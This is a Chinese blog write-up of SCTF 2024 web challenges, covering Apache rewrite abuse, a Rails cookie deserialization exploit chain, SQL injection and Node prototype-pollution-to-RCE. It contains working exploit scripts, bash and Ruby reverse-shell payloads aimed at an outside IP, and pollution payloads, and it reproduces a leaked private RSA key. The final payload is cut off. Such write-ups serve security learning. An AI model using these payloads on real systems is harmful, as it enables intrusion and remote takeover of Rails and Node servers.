目录

  1. 1. 前言
  2. 2. havefun
    1. 2.1. W&M的解法
  3. 3. SycServer2.0(复现)
  4. 4. ezRender(复现)
  5. 5. Simpleshop(复现)
  6. 6. ezjump(复现)
  7. 7. ez_tex(复现)
    1. 7.1. 提权1:CVE-2023-4911
    2. 7.2. 提权2:capabilities提权
  8. 8. 问卷
  9. 9. X:D

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

SCTF 2024

2024/9/28 CTF线上赛
  |     |   总文章阅读量:

前言

并非不可战胜

参考:

https://blog.wm-team.cn/index.php/archives/82/

https://mp.weixin.qq.com/s?__biz=Mzg5OTUzNDY2Nw==&mid=2247484351&idx=1&sn=1a28c6baf473829b19bd2cc4992bd752&chksm=c1a154f6c9957c6f0ec29a9d139598afd6d56a31ae55c9d9deab543a8c810253586788cbb9e9&mpshare=1&scene=23&srcid=1001ghiPHORztFCWZYpppfOp&sharer_shareinfo=f76b8b69af4cfafe5da55fbff445acdc&sharer_shareinfo_first=f76b8b69af4cfafe5da55fbff445acdc#rd

https://hackmd.io/@sahuang/H1A2qvIAR#SycServer20

https://mp.weixin.qq.com/s/qOueXdU3UaKiJoUnuUjBEA

https://blog.xmcve.com/2024/10/01/SCTF-2024-Writeup/

https://quick-mascara-699.notion.site/2024SCTF-wp-d34600322f1141e680e837abce5795ef?pvs=74

image-20241001193841563


havefun

apache最新最热

hint1:仔细思考SCTF.jpg的内容存在含义,本题不需要任何爆破扫描等操作
hint2:/static/test

Please go to /static/SCTF.jpg

访问并下载SCTF.jpg

用010打开,在图片的末尾发现一段php

<?php
$file = '/etc/apache2/sites-available/000-default.conf';
$content = file_get_contents($file);
echo htmlspecialchars($content);
?>

dirsearch开扫,扫出个/static/test

Database
information_schema
mysql
performance_schema
redmine_default
secret
sys

是数据库名

发现里面的活动和文件都不用登录就可以访问

image-20240928111431353

公共靶机魅力时刻(

账密admin:admin123456

默认的管理员帐号已改变 	
附件路径可写 	
插件的附件路径可写 (./public/plugin_assets) 	
All database migrations have been run 	
MiniMagick 可用(可选的) 	
可使用 ImageMagick 转换图片格式 (可选) 	
ImageMagick PDF 支持 (可选)
Environment:
  Redmine version                5.0.4.stable
  Ruby version                   3.1.2-p20 (2022-04-12) [x86_64-linux-gnu]
  Rails version                  6.1.7.3
  Environment                    production
  Database adapter               Mysql2
  Mailer queue                   ActiveJob::QueueAdapters::AsyncAdapter
  Mailer delivery                smtp
Redmine settings:
  Redmine theme                  Default
SCM:
  Filesystem                     
Redmine plugins:
  no plugin installed

本地想起一个一样的环境,但是docker拉下来的环境路径不一样,不过文件结构差不多,测试发现上传的文件路径我们都不可控

apache2.4.55,结合配置服务的漏洞,想起来去年的 ezcheckin 也是个 apache 的洞

找了一圈,想起来black hat 2024的课题,参考:https://rivers.chaitin.cn/blog/cqr0pg10lne22g7e74ig

image-20240928170847001

image-20240928162017844

成功执行

<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
PassengerAppRoot /usr/share/redmine        

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/redmine>
RailsBaseURI /redmine
#PassengerResolveSymlinksInDocumentRoot on
</Directory>

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php] 	

LogLevel alert rewrite:trace3
RewriteEngine On
RewriteRule  ^/profile/(.*)$   /$1.html

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

注意这段

RewriteEngine On
RewriteRule  ^/profile/(.*)$   /$1.html

image-20240928171757050

image-20240928171619157

拿到私钥 94e61cc23d1fa4e799f5bc6fd478fded

image-20240928181937710

拿到数据库账密

试图打ruby cookie反序列化:https://drive.google.com/file/d/1UMxphxFxwRf7wbrw4_Hr56KGPzpLU3Ef/view

(有个有意思的事,在那篇 black hat 原文的繁中版那里可以找到这个打ror的链接,但是英文版的没有这个链接)

require 'rails/all'
require 'cgi'
require 'active_support'

Gem::SpecFetcher
Gem::Installer

require 'sprockets'
class Gem::Package::TarReader
end

d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)

d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)

d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/pwn.txt", :environment => d0  , :data => "<%= `ls;bash -c 'bash -i >& /dev/tcp/115.236.153.177/30908 0>&1'` %>", :metadata => {}})

d2=Set.new([d1])

d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)

c=Logger.allocate
c.instance_variable_set(:@logdev, d)

e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")

b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)

$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)

module ActiveRecord
    module Associations
        class Association
            def marshal_dump
                # Gem::Installer instance is also set here
                # because it autoloads Gem::Package which is
                # required in rest of the chain
                [Gem::Installer.allocate,$a] 
            end
        end
    end
end

def sign_and_encrypt_data(data, secret_key_base)
    salt = "authenticated encrypted cookie"
    encrypted_cookie_cipher = 'aes-256-gcm'
    serializer = ActiveSupport::MessageEncryptor::NullSerializer

    key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
    key_len = ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
    secret = key_generator.generate_key(salt, key_len)
    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: encrypted_cookie_cipher, serializer: serializer)
    data = encryptor.encrypt_and_sign(data)
    CGI::escape(data)
end


final = ActiveRecord::Associations::Association.allocate
data = Marshal.dump(final)
puts sign_and_encrypt_data(data,"94e61cc23d1fa4e799f5bc6fd478fded")

image-20240929015535883

npoD73xm02DrbgVoluC24R%2Bigj6xXeLdDWK2w%2BNomugQDwfE4hWc2z3G7TQ4PbYEIkBhBCqubSdRCZnrOx2qG59Xr3Q8BM3pvQJ7gerDYnDtohS4wZA7CoWx2p15mFnOHlyf4fIp%2Bba9DPvOH22Fb9R0kEfQeq8EL2ig7lmY6GNWN2BWWlBE2U9EhYB0pIPhHPtz5Q7HEB2q4DVIz82wx3bp1%2Bd%2Bk7OuD3vPqZp6txJK3mmaCw9LI3tyxdgZwQfYpuZQwQPIL%2Bdf5fy9007YbUaJP5VZwOgx94JjBWCzVXtX%2F0erEKMLlFGzpklao38%2FCcji%2FMQoaD8uTsCdVtMIol6MA8foSd9s%2BYBmFrofEIWOCLRHy1ZZ%2FCmrXuo9hmCBTvmUnUrszjKqDiJ5p5%2BTBGE41JJMEzI67r4YGm5RcrPelEHMlNi7V1X3BGP4DOHRlGGe%2BQ4KquMJD1cUpk9GpcirQbFzCpYvx6k1XzTuKszPHOgTgJY%2FW6sT%2BJIlc2gx05BzbpgvCJLQteZPRbjAdTRjaAYr2p5Za2bErem0KW9%2FGQC6NSYF6tI9ehKl7RehDWoCypUtafylvXFPlKEPraWkqFtzCkW7y0O%2B59WLiEXwLKwtxWCb16YpyEDqzC39PaVhT%2BtrbUJYxndnTHhVMMDC49E4djT8I8X3huta13tlYXL8%2FLvaBVhEIgE40lQ8iHF1KPjJBhJo5c3kxnf7yddTV1OT2cnMer87lzf1f88%3D--uS48zvF1JZRGCyNn--sedX5HuohuWjGw1eKgPKYg%3D%3D

/login 处传cookie触发反序列化弹shell

打了一天这题看到网页的admin密码被改了,虽然用不到就是了(

image-20240929015105847

image-20240929015517727

接下来想到第二个hint,意识到这个账密登录的不是我们的目标数据库

观察一下进程

www-data@4c8bda94f06b:/usr/share/redmine$ ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 16:28 pts/0    00:00:00 /bin/sh /usr/sbin/apachectl start
root          11       1  0 16:28 pts/0    00:00:01 /usr/sbin/apache2 -DFOREGROUND -k start
root          37      11  0 16:28 ?        00:00:00 Passenger watchdog
root          40      37  0 16:28 ?        00:00:09 Passenger core
root         170       1  0 16:28 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql        297     170  0 16:28 ?        00:00:05 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
root         298     170  0 16:28 ?        00:00:00 logger -t mysqld -p daemon error
root        3318       0  0 18:05 pts/2    00:00:00 bash
root        3330    3318  0 18:05 pts/2    00:00:00 mysql
www-data    6859      11  0 20:16 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data    7356      11  0 20:30 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data    7416      11  0 20:32 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data    7417      11  0 20:32 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data    7419      11  0 20:32 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data    7420      11  0 20:32 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data    7422      11  0 20:32 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data    7423      11  0 20:32 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data    7424      11  0 20:32 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data   10450       1  0 22:35 ?        00:00:00 Passenger RubyApp: /usr/share/redmine (production)
www-data   12589      11  0 23:50 pts/0    00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data   12746      40  3 23:55 ?        00:00:02 Passenger AppPreloader: /usr/share/redmine
www-data   12789   12746  0 23:55 ?        00:00:00 Passenger RubyApp: /usr/share/redmine (production)
www-data   12829   10450  0 23:56 ?        00:00:00 sh -c ls;bash -c 'bash -i >& /dev/tcp/115.236.153.177/30908 0>&1'
www-data   12831   12829  0 23:56 ?        00:00:00 bash -c bash -i >& /dev/tcp/115.236.153.177/30908 0>&1
www-data   12832   12831  0 23:56 ?        00:00:00 bash -i
www-data   12849   12832  0 23:56 ?        00:00:00 ps -ef

没啥重要的东西

ls -lh /var/www/html/static/发现 test 是 www-data 权限,而且没看到test文件的生成方式,读一下历史命令试试(实际上我是grep 翻关键字的时候发现的)

www-data@4c8bda94f06b:/usr/share/redmine$ cat ./templates/database-mysql.yml.template
plate/templates/database-mysql.yml.temp
production:
  adapter: mysql2
  database: _DBC_DBNAME_
  host: _DBC_DBSERVER_
  port: _DBC_DBPORT_
  username: _DBC_DBUSER_
  password: _DBC_DBPASS_
  encoding: utf8
www-data@4c8bda94f06b:/usr/share/redmine$ find /var -type f -exec grep -l "_DBC_" {} + 2>/dev/null
/var/www/.bash_history
www-data@4c8bda94f06b:/usr/share/redmine$ cat /var/www/.bash_history
ls
exit
ls
sudo -l
mysql -e "show databases;"
sudo -l
clear
sudo mysql -e "show databases";
sudo mysql -e "show databases;"
sudo mysql -e "show databases;" > 2
ls
sudo mysql -e "show databases;" > ./2.txt
ls
echo 1>2
ls
echo 1 > 2
ls
echo 1 > 2
ls
1.php
index.html
redmine
test.php
clear
sudo mysql -e "show databases;" > "2.txt"
ls
echo $SHELL
whoami
ls -la
cd static
ls
echo 1> 2
ls
rm 2
ls
cat test
exit
ls
mysql
sudo mysql -e "show databases;"
sudo -l
exit

发现直接用 sudo 执行mysql命令即可

sudo mysql -e "use secret;show tables;select * from flag;"

image-20240929082727253


W&M的解法

看了一下发现它们打ruby反序列化的方法和我的不一样

参考:

https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

看不懂参考文章,感觉也是打反序列化,但是这里用到了自己的服务器

总之先贴一下它们的打法:

先生成一个带命令的rz文件。放到自己的https oss上。把请求地址放@host的地方

# Autoload the required classes
require 'uri'
require 'rails/all'
Gem::SpecFetcher

# create a file a.rz and host it somewhere accessible with https
def generate_rz_file(payload)
  require "zlib"
  spec = Marshal.dump(Gem::Specification.new("bundler"))

  out = Zlib::Deflate.deflate( spec + "\"]\n" + payload + "\necho ref;exit 0;\n")
  puts out.inspect

  File.open("a.rz", "wb") do |file|
    file.write(out)
  end
end

def create_folder
  uri = URI::HTTP.allocate
  uri.instance_variable_set("@path", "/")
  uri.instance_variable_set("@scheme", "s3")
  uri.instance_variable_set("@host", "xxxxxxxx/a10.rz?")  # use the https host+path with your rz file

  uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
  uri.instance_variable_set("@user", "user")
  uri.instance_variable_set("@password", "password")

  spec = Gem::Source.allocate
  spec.instance_variable_set("@uri", uri)
  spec.instance_variable_set("@update_cache", true)

  request = Gem::Resolver::IndexSpecification.allocate
  request.instance_variable_set("@name", "name")
  request.instance_variable_set("@source", spec)

  s = [request]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies", [])

  l
end

def git_gadget(git, reference)
  gsg = Gem::Source::Git.allocate
  gsg.instance_variable_set("@git", git)
  gsg.instance_variable_set("@reference", reference)
  gsg.instance_variable_set("@root_dir","/tmp")
  gsg.instance_variable_set("@repository","vakzz")
  gsg.instance_variable_set("@name","aaa")

  basic_spec = Gem::Resolver::Specification.allocate
  basic_spec.instance_variable_set("@name","name")
  basic_spec.instance_variable_set("@dependencies",[])

  git_spec = Gem::Resolver::GitSpecification.allocate
  git_spec.instance_variable_set("@source", gsg)
  git_spec.instance_variable_set("@spec", basic_spec)

  spec = Gem::Resolver::SpecSpecification.allocate
  spec.instance_variable_set("@spec", git_spec)

  spec
end

def popen_gadget
  spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"})
  spec2 = git_gadget("sh", {})

  s = [spec1, spec2]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies",[])

  l
end

def to_s_wrapper(inner)
  s = Gem::Specification.new
  s.instance_variable_set("@new_platform", inner)
  s
end

folder_gadget = create_folder
exec_gadget = popen_gadget
generate_rz_file(("ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"xxxxx\",\"1337\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"))
r = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])
#Marshal.load(r)
#puts %{Marshal.load(["#{r.unpack("H*")}"].pack("H*"))}
def sign_and_encryt_data(data,secret_key_base)
        salt = 'authenticated encrypted cookie'
        encrypted_cookie_cipher='aes-256-gcm'
        serializer=ActiveSupport::MessageEncryptor::NullSerializer
        key_generator=ActiveSupport::KeyGenerator.new(secret_key_base,iterations: 1000)
        key_len=ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
        secret=key_generator.generate_key(salt,key_len)
        encryptor=ActiveSupport::MessageEncryptor.new(secret,cipher: encrypted_cookie_cipher,serializer: serializer)
        data=encryptor.encrypt_and_sign(data)
        CGI::escape(data)
end
puts sign_and_encryt_data(r,ARGV[0])

SycServer2.0(复现)

javascript + sql注入 + 原型链污染

ctrl+u

function wafsql(str){
    return str.replace(/[\-\_\,\!\|\~\`\(\)\#\$\%\^\&\*\{\}\:\;\"\<\>\?\\\/\'\ ]/g, '');
}
function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

const authToken = getCookie('auth_token');

if (authToken) {
    window.location.href = '/hello';
}

document.getElementById('loginForm').addEventListener('submit', async function(e) {
    e.preventDefault();

    const username = wafsql(document.getElementById('username').value);
    const password = wafsql(document.getElementById('password').value);

    const response = await fetch('/config');
    const { publicKey } = await response.json();

    const encrypt = new JSEncrypt();
    encrypt.setPublicKey(publicKey);

    const encryptedPassword = encrypt.encrypt(password);

    const formData = {
        username: username,
        password: encryptedPassword
    };

    const loginResponse = await fetch('/login', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(formData),
    });

    const result = await loginResponse.json();
    if (result.success) {
        alert('登录成功');
        window.location.href = "/hello"
    } else {
        alert('登录失败:' + result.message);
    }
});

有sql的waf,发现几个路由:

  • /hello
  • /config
  • /login

访问/config拿到公钥

{"publicKey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----"}
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ
TfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC
XmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe
I+Atul1rSE0APhHoPwIDAQAB
-----END PUBLIC KEY-----

前端会拿这个公钥去加密password,然后传给后端

让我们看看去年是怎么解的这题 :

在admin路由里其实是会执行ssh -i rsa_key vanzy@xxxxx这个指令去读取密钥文件的。然后我们可以再密钥文件里加入一条恶意的语句command=xxxxxxx,也就是标记ssh连接后干啥。写个反弹shell就出了
这里设计到一个ssh指令的特性,ssh在读取密钥文件的时候,会识别密钥文件中的command=xxx,这样实际上就是一个ssh后门

好完全没有关系(

看一下前端的加密函数…

image-20240928143904365

唉完全审不了

dirsearch 扫一下发现 robots.txt

User-agent: *
Disallow:
Disallow: /ExP0rtApi?v=static&f=1.jpeg

访问发现还是需要token

然后尝试抓包自己加密个rsa注入万能密码

image-20240930130155926

image-20240930130208952

不行,看来加密逻辑对不上,后面得知这个库默认是用 PKCS1 加密的

因为wafsql是前端函数,那么尝试在控制台覆写这个函数,然后前端注入sql

function wafsql(str){
    return str;
}

注入万能密码1'||1=1#

image-20240930131430932

登录成功

image-20240930131616328

带上token去 /ExP0rtApi,尝试读源码

image-20240930131817658

image-20240930131831518

竟然是gz,dump下来解压得到 app.js 的源码

const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

const con = mysql.createConnection({
  host: 'localhost',
  user: 'ctf',
  password: 'ctf123123',
  port: '3306',
  database: 'sctf'
})
con.connect((err) => {
  if (err) {
    console.error('Error connecting to MySQL:', err.message);
    setTimeout(con.connect(), 2000); // 2秒后重试连接
  } else {
    console.log('Connected to MySQL');
  }
});

const {response} = require("express");
const req = require("express/lib/request");

var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

var Reportcache = {}

function verifyAdmin(req, res, next) {
  const token = req.cookies['auth_token'];

  if (!token) {
    return res.status(403).json({ message: 'No token provided' });
  }

  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) {
      return res.status(403).json({ message: 'Failed to authenticate token' });
    }

    if (decoded.role !== 'admin') {
      return res.status(403).json({ message: 'Access denied. Admins only.' });
    }

    req.user = decoded;
    next();
  });
}

app.get('/hello', verifyAdmin ,(req, res)=> {
  res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
  res.json({
    publicKey: publicPem,
  });
});

var decrypt = function(body) {
  try {
    var pem = privatePem;
    var key = new nodeRsa(pem, {
      encryptionScheme: 'pkcs1',
      b: 1024
    });
    key.setOptions({ environment: "browser" });
    return key.decrypt(body, 'utf8');
  } catch (e) {
    console.error("decrypt error", e);
    return false;
  }
};

app.post('/login', (req, res) => {
  const encryptedPassword = req.body.password;
  const username = req.body.username;

  try {
    passwd = decrypt(encryptedPassword)
    if(username === 'admin') {
      const sql = `select (select password from user where username = 'admin') = '${passwd}';`
      con.query(sql, (err, rows) => {
        if (err) throw new Error(err.message);
        if (rows[0][Object.keys(rows[0])]) {
          const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
          res.cookie('auth_token', token, {secure: false});
          res.status(200).json({success: true, message: 'Login Successfully'});
        } else {
          res.status(200).json({success: false, message: 'Errow Password!'});
        }
      });
    } else {
      res.status(403).json({success: false, message: 'This Website Only Open for admin'});
    }
  } catch (error) {
    res.status(500).json({ success: false, message: 'Error decrypting password!' });
  }
});

app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
  var rootpath = req.query.v;
  var file = req.query.f;

  file = file.replace(/\.\.\//g, '');
  rootpath = rootpath.replace(/\.\.\//g, '');

  if(rootpath === ''){
    if(file === ''){
      return res.status(500).send('try to find parameters HaHa');
    } else {
      rootpath = "static"
    }
  }

  const filePath = path.join(__dirname, rootpath + "/" + file);

  if (!fs.existsSync(filePath)) {
    return res.status(404).send('File not found');
  }
  fs.readFile(filePath, (err, fileData) => {
    if (err) {
      console.error('Error reading file:', err);
      return res.status(500).send('Error reading file');
    }

    zlib.gzip(fileData, (err, compressedData) => {
      if (err) {
        console.error('Error compressing file:', err);
        return res.status(500).send('Error compressing file');
      }
      const base64Data = compressedData.toString('base64');
      res.send(base64Data);
    });
  });
});

app.get("/report", verifyAdmin ,(req, res) => {
  res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});

app.post("/report", verifyAdmin ,(req, res) => {
  const {user, date, reportmessage} = req.body;
  if(Reportcache[user] === undefined) {
    Reportcache[user] = {};
  }
  Reportcache[user][date] = reportmessage
  res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
  let count = 0;
  for (const user in Reportcache) {
    count += Object.keys(Reportcache[user]).length;
  }
  res.json({ count });
});

//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
  var command = 'whoami';
  const cmd = cp.spawn(command ,[]);
  cmd.stdout.on('data', (data) => {
    res.status(200).end(data.toString());
  });
})

app.listen(3000, () => {
  console.log('Server running on http://localhost:3000');
});

package.json

{
  "dependencies": {
    "body-parser": "^1.20.3",
    "cookie-parser": "^1.4.6",
    "crypto": "^1.0.1",
    "express": "^4.21.0",
    "jsonwebtoken": "^9.0.2",
    "mysql": "^2.18.1",
    "node-rsa": "^1.1.1",
    "path": "^0.12.7",
    "require-in-the-middle": "^7.4.0"
  }
}

先尝试读flag

image-20240930132909583

解压得到No Rce?I can't Give You Flag Bro,:(

那还是要rce,审个代码先

const sql = `select (select password from user where username = 'admin') = '${passwd}';`

这是我们刚才sql注入的点,一个'闭合就行了

注意到开头

const handle = require('./handle');

引入了但是完全没用到,读取这个文件报了个错,猜测是个文件夹,尝试读handle/index.js

image-20240930141519835

var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');

new ritm.Hook(
    ['child_process'],
    function (module, name) {
        switch (name) {
            case 'child_process': {
                return patchChildProcess(module);
            }
        }
    }
);

读 handle/child_process.js

function patchChildProcess(cp) {

    cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
    cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
    cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
    cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
    cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
    cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });

    return cp;
}

function patchOptions(hasArgs) {
    return function apply(target, thisArg, args) {
        var pos = 1;
        if (pos === args.length) {
            args[pos] = prototypelessSpawnOpts();
        } else if (pos < args.length) {
            if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
                pos++;
            }
            if (typeof args[pos] === 'object' && args[pos] !== null) {
                args[pos] = prototypelessSpawnOpts(args[pos]);
            } else if (args[pos] == null) {
                args[pos] = prototypelessSpawnOpts();
            } else if (typeof args[pos] === 'function') {
                args.splice(pos, 0, prototypelessSpawnOpts());
            }
        }

        return target.apply(thisArg, args);
    };
}

function prototypelessSpawnOpts(obj) {
    var prototypelessObj = Object.assign(Object.create(null), obj);
    prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
    return prototypelessObj;
}

module.exports = patchChildProcess;

看不懂,总之是child_process的hook,作用是防options参数的原型链污染

观察一下这里

const cp = require('child_process');


app.post("/report", verifyAdmin ,(req, res) => {
  const {user, date, reportmessage} = req.body;
  if(Reportcache[user] === undefined) {
    Reportcache[user] = {};
  }
  Reportcache[user][date] = reportmessage
  res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
  let count = 0;
  for (const user in Reportcache) {
    count += Object.keys(Reportcache[user]).length;
  }
  res.json({ count });
});

//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
  var command = 'whoami';
  const cmd = cp.spawn(command ,[]);
  cmd.stdout.on('data', (data) => {
    res.status(200).end(data.toString());
  });
})

存在Reportcache[user][date] = reportmessage可以原型链污染,那么猜测我们要污染的目标就是const cmd = cp.spawn(command ,[]);

搜了一下,有pp2rce:https://book.hacktricks.xyz/v/cn/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#pp2rce-lou-dong-childprocess-han-shu

请求体得以json的格式发出去

这里/VanZY_s_T3st 只有俩参数,可以直接污染2号下标,也不会被Object.assign干掉,相当于自由控制options

payload:执行的方法好像有挺多,远程测了半天发现有 /readflag

{
    'user': "__proto__",
    'date': "2",
    "reportmessage": {
        "shell": "/proc/self/exe",
        "argv0": "console.log(require('child_process').execSync('/readflag').toString())//",
        "env": { "NODE_OPTIONS": "--require=/proc/self/cmdline" }
    }
}

或者

{
    "user":"__proto__",
    "date":  2,
    "reportmessage":{
        "shell":"/readflag",
        "env": 
        {
            "NODE_DEBUG": "require(\"child_process\").exec(\"env\");process.exit()//",
            "NODE_OPTIONS": "--require /proc/self/environ"
        }
